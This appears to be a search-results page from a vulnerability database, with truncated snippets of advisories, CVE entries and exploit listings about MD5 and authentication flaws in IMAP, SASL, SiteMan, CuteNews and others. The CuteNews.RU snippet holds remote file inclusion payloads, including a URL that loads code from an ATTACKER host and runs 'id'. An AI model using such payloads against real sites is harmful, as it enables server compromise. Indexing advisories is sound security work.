5873 matches found
imap-uw IMAP server CRAM-MD5 unauthorized access
It's possible to access mailboxes of different users...
siteman.noam.txt
!/usr/bin/perl -w Exploit by Noam Rathaus - Beyond Security Ltd. Exploit for the SiteMan vulnerability discovered by: "amironline452" use Digest::MD5 qwmd5 md5hex md5base64; use IO::Socket; use strict; ./siteman.pl / vulnerable.host my $Path = shift; my $Host = shift; my $Username = shift; my...
UW-imapd fails to properly authenticate users when using CRAM-MD5
Overview A vulnerablility in an authentication method for the University of Washington IMAP server could allow a remote attacker to access any user's mailbox. Description The Internet Message Access Protocol IMAP is a method of accessing electronic messages kept on a remote mail server and is...
Siteman <= 1.1.10 Remote Administrative Account Addition Exploit
No description provided by source. !/usr/bin/perl -w Exploit by Noam Rathaus - Beyond Security Ltd. Exploit for the SiteMan vulnerability discovered by: "amironline452" [email protected] use Digest::MD5 qwmd5 md5hex md5base64; use IO::Socket; use strict; ./siteman.pl / vulnerable.hos...
imap-uw -- authentication bypass when CRAM-MD5 is enabled
The CRAM-MD5 authentication support of the University of Washington IMAP and POP3 servers contains a vulnerability that may allow an attacker to bypass authentication and impersonate arbitrary users. Only installations with CRAM-MD5 support configured are affected...
Pivot 1.20 Beta 3 - admin & shell
oooo oooo oooooooo8 ooooooooooo 8888o 88 888 88 888 88 88 888o88 888oooooo 888 88 8888 888 888 o88o 88 o88oooo888 o888o Network security team nst.e-nex.com Title: Pivot 1.20 Beta 3 - admin & shell Bug found by: тёмыч Date: 9.12.2004 Pivot 1.20 Beta 3 script author: http://www.pivotlog.net google:...
MD5 - Message Digest Algorithm Hash Collision
source: https://www.securityfocus.com/bid/11849/info The MD5 algorithm is reported prone to a hash collision weakness. This weakness reportedly allows attackers to create multiple, differing input sources that, when the MD5 algorithm is used, result in the same output fingerprint. It has been...
MD5 - Message Digest Algorithm Hash Collision
MD5 - Message Digest Algorithm Hash Collision source: https://www.securityfocus.com/bid/11849/info The MD5 algorithm is reported prone to a hash collision weakness. This weakness reportedly allows attackers to create multiple, differing input sources that, when the MD5 algorithm is used, result i...
CuteNews.RU v026 - bugs
Network security team nst.e-nex.com Title: CuteNews.RU v026 - bugs Bug found by: тёмыч Date: 25.10.2004 Если magicquotesgpc = off include showarchives.php?template=../../../../../../../../file00 Если .htaccess неработает include /inc/shows.inc.php?cutepath=http://ATTACKER&nst=id предворительна...
CVE-2005-0373
Buffer overflow in digestmd5.c CVS release 1.170 also referred to as digestmda5.c, as used in the DIGEST-MD5 SASL plugin for Cyrus-SASL but not in any official releases, allows remote attackers to execute arbitrary code...
CVE-2005-0373
Buffer overflow in digestmd5.c CVS release 1.170 also referred to as digestmda5.c, as used in the DIGEST-MD5 SASL plugin for Cyrus-SASL but not in any official releases, allows remote attackers to execute arbitrary code...
CVE-2005-0373
Buffer overflow in digestmd5.c CVS release 1.170 also referred to as digestmda5.c, as used in the DIGEST-MD5 SASL plugin for Cyrus-SASL but not in any official releases, allows remote attackers to execute arbitrary code...
[slackware-security] xine-lib
New xine-lib packages are available for Slackware 10.0 and -current to fix security issues. For more details, see: http://www.xinehq.de/index.php/security/XSA-2004-4 http://www.xinehq.de/index.php/security/XSA-2004-5 Here are the details from the Slackware 10.0 ChangeLog:...
Pavuk Digest - Authentication Remote Buffer Overflow
/ exploit for pavuk web spider - infamous42md AT hotpop DOT com shouts to mitakeet, skullandcircle, and thanks to matt murphy for making me realize a n00bish mistake i made. this exploit probably deserves a bit of an explanation as it was not exactly straight forward. the vulnerable code looks li...
Mandrake Linux Security Advisory : passwd (MDKSA-2001:091)
The default pam files for the passwd program did not include support for md5 passwords, thus any password changes or post-install added users would not have md5 passwords. %NASLMINLEVEL 70300 C Tenable Network Security, Inc. The descriptive text and package checks in this plugin were extracted fr...
PHP-Fusion Database Backup - Information Disclosure
source: https://www.securityfocus.com/bid/10974/info It is reported that PHP-Fusion is susceptible to a database backup information disclosure vulnerability. An anonymous remote attacker may be able to download a complete database backup from the server. Authentication would not be required. A...
cyrus-sasl -- potential buffer overflow in DIGEST-MD5 plugin
The Cyrus SASL DIGEST-MD5 plugin contains a potential buffer overflow when quoting is required in the output...
[UNIX] Singapore MD5 Administrative Password Disclosure
The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com - - promotion The SecuriTeam alerts list - Free, Accurate, Independent. Get your security news from a reliable source...
X-News Password MD5 Hash Authentication Bypass
X-News is a news management system, written in PHP. X-News uses a flat-file database to store information. It will run on most Unix and Linux variants, as well as Microsoft Windows operating systems. X-News stores user ids and passwords, as MD5 hashes, in a world- readable file, 'db/users.txt'...
